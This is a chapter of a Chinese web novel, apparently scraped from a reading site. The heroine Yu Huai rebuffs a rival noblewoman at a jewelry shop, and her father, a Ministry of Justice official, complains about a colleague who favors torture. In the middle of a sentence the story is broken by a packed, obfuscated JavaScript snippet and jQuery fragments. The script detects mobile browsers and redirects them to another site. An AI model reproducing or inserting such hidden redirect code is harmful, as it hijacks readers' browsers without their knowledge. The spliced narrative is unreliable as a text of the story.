这场面对几位贵女来说并不稀奇,她们家世相当,都有亲人在朝中当差,多多少少从长辈那里听过一些,刑部两位侍郎大人因为政见不同,经常在朝堂上起争执。
这老的老的都快争成仇人了,小的自然是有样学样,所以两家的孩子也都不对付。
齐令仪和于徊就是众所周知的死对头。
以往,这二人见面就要呛声,每次都能让大家看个热闹,主要是看于徊的热闹。
因为于家这个草包大小姐话都说不明白,还一点就炸,每每被齐令仪取笑了,还一副反应不过来的模样,简直愚蠢至极。
出乎所有人预料的是,于徊又笑了,只是笑得很淡:“好啊,那你们验货吧。”
说着,她把钗子递了过去。
齐令仪脸上闪过诧异,盯着于徊,手迟迟没有去接。
几位贵女也很意外,这还是于家那个一点就炸的草包吗,这反应跟她们想得不一样啊?
这个草包不是最爱脸面吗,都这样了,还笑得出来?
“真是没脸没皮,谁要买你戴过的钗子啊。”齐二小姐忍不住,嘟囔一声。
于徊收起笑意,眼神冰冷地朝齐二小姐看去。
面子又不能吃,为了五两银子被人笑两声,她可以不在乎,但这并不代表她就能任人羞辱了。
不买还说七说八,那就别怪她不客气了!
一看于徊冷了脸,众人的眼睛立时都亮了,来了来了,这个草包要炸了。
果然这次也有好戏看。
齐二小姐被她盯得不自在,硬邦邦道:“你看我做什么,我说错了吗?”
有大姐在,还有这么多人看着,她才不怕这个草包呢。
于徊冷冷地移开眼,视线扫了一圈,最后落在齐令仪脸上。
“所以,你不打算买我的钗子?”
齐令仪一脸倨傲道:“是又如何。”
她确实不打算买于徊戴过的钗子,方才出声不过是想看这个草包出丑罢了。
她只是没料到于徊会忍下。
此时此刻,她依然在等着于徊情绪失控,自取其辱。
“不如何。”于徊冷笑一声,“所以你恶意打断店家的生意,又出尔反尔拿我寻开心,是吃饱了没事干吗,齐府的家教真是叫人大开眼界,今日我算是见识到了。”
一口气说完,于徊转身就走:“绿萝,这里不干净,我们走。”
“好嘞!”绿萝应得响亮,临走前还特意回望了一下几位贵女的表情,心里那叫一个痛快。
惊呆了吧,看傻眼了吧,她家大小姐这次太霸气了。
眼瞅着她们走下楼,齐令仪忙喊道:“于徊你站住,你说谁没家教……”
“说的就是你。”于徊回头故意一笑,转身走得飞快,怼完就跑,不给对方掰扯的机会。
哼哼,就憋屈去吧,她不奉陪了。
此刻的珍宝阁二楼,几位贵女都有些反应不过来,刚才那个说话条理清楚还颇有气势的人……是于徊那个草包?
齐二小姐气急败坏道:“这个草包简直太过分了,有本事别跑啊。”
齐令仪几乎把牙给咬碎了,她还从来没这么丢脸过。
她跟那个草包没完!
再说于徊离开珍宝阁后,还是带着绿萝去了饭馆。
钗子可以改天再卖,今天的饭要今天吃。
半个时辰后,于徊满足地打了个饱嗝,“这才叫生活。”
人生在世,唯有美食不可辜负啊。
绿萝用力点头,没错没错,大小姐说得太对了。
这么多好吃的,她感觉嘴巴都不够用了,根本顾不上说话。
酸汤鱼,吊炉烤乳鸽,荷叶童子鸡,还有一个笋干老鸭汤。
老天哎,要是顿顿都能吃这么好,她愿意一辈子做小姐的丫鬟,最忠诚的丫鬟。
吃饱喝足,主仆两个才慢悠悠地回了府,没想到一进门就看到于侍郎在院子里劈柴。
于侍郎出身贫苦,少时经常干粗活,后来做了官也没改掉一些小习惯。
比如他心里有火的时候,就会铆足了力气劈柴,于府的人对此已经见怪不怪了。
“爹爹消消气,别累着。”于徊语带关切,话头一转,自然地问道,“还没到下衙的时间,您怎么就回来了。”
原主记忆里,于侍郎是个严于律己的人,对待工作一丝不苟,从来不曾早退过。
眼下又有那么要紧的案子,按理说,便宜爹这会儿不应该在家。
于侍郎听到女儿关心的话,想调整一下情绪,结果没成功。
他气急败坏道:“气死老夫了,齐老匹夫就是个酷吏……”
“爹,回书房再说吧。”于徊一听老匹夫就知道便宜爹爹是在骂刑部右侍郎齐大人,便开口打断了他。
于府人口简单,一家都不是奢侈度日的,当然,就于府这情况想奢侈也奢侈不起来,所以府里统共就没几个下人。
尽管如此,有些话还是要关起门来说比较好。
于侍郎这才丢了斧子,到书房一坐下,他就气呼呼地拍了下桌子:“那老匹夫没有一点同理心,竟然把死者的亲朋都抓了起来,还要严刑审问,一点证据都没有,凭什么对百姓用刑,老夫最是看不惯他这种做派。”
于徊坐到对面,一边倒茶一边听着。
于侍郎继续道:“这既没证据又没嫌疑的,哪能随便上刑,还是用重刑,这不是胡来吗,老夫自然不能坐视不理。”
于侍郎出身贫寒,知晓寻常百姓最怕惹上衙门,办案注重的是用证据说话,主张轻用刑罚。
齐侍郎刚
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16519519|186263||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
好相反,主张严刑、酷刑,不管有没有证据,把人都抓起来上一遍重刑再说。
“然后呢?”于徊把茶盏推了推,问道。
“然后他说,刁民骨头轻,只要大刑伺候,就什么都问出来了。”于侍郎气不打一处来,端起茶盏大口喝完,“你说哪有这样办案的,为官者,怎能不体谅百姓之苦。”
其实,朝里都知道他们两个政见不同,以往都是把他们分开,各忙各的。
但这次的案件关乎科举大事,还隐隐指向长公主殿下,连秋闱都延迟张榜了,牵涉实在太大,两人这才凑到了一个案子上。
“所以您气不过就回来了?”
于侍郎啧了一声:“什么话,老夫是不晓得轻重的人吗,我回来是因为长公主殿下。”
于徊面色微顿,不露声色道:“怎么还跟长公主殿下有关?”
“长公主殿下全权督办此案,今日刚好去刑部看卷宗,就撞到那个老匹夫在跟我争吵。”
“再然后呢?”
“长公主殿下糊涂啊,把齐老匹夫赶回家就算了,竟然让老夫也回家反省,还不许我们再插手此案……”于侍郎话说到一半,自知失言,讪讪住了嘴。
他前日才教育过女儿,莫要妄议皇家的人和事,结果自己没忍住,一时说多了。
于徊口猛跳两下,会这么凑巧吗?
凶手的叔父不能插手此案了……
长公主殿下是查到了什么,还是阴差阳错?
她给于侍郎续了杯茶,用闲话家常的语气问道:“只是争吵了几句,怎么就不让你们参与办案了。”
于侍郎义愤填膺道:“都怪那老匹夫,竟然朝老夫扬拳头,老夫才不惯他。”
于徊:“…”所以是动手了,不过,便宜爹爹看着不像跟人打过架的样子啊,那就是没吃亏。
“您把齐大人打惨了?”
于侍郎面色一僵,扬了扬头道:“那是,拳拳到肉。”
实际上他们两个是在扯胡子、揪头发,打得不太体面。
长公主殿下瞧了个正着,训斥了一句“有辱斯文”,才让他们归家了。
于徊心中若有所思,又劝了几句便回房了。
一直到晚上,她都觉得事有蹊跷,世上哪有那么多巧合。
但她很快就没心思想这些了,因为子时要到了。
为了验证自己的猜测,她连外衣都没有脱,也不打算睡了,就坐在桌边数铜钱玩。
快到子时了吧,今晚也会跑别人家床底下躺一个时辰吗?
于徊把玩着手里的铜钱,第一晚惊心动魄,第二晚鼾声如雷,也不知道今晚是什么情况。
思绪翻飞间,她忍不住祈祷了一句:这次让我去个安全又舒服的床底吧。
念头才闪过,眼前便是一黑。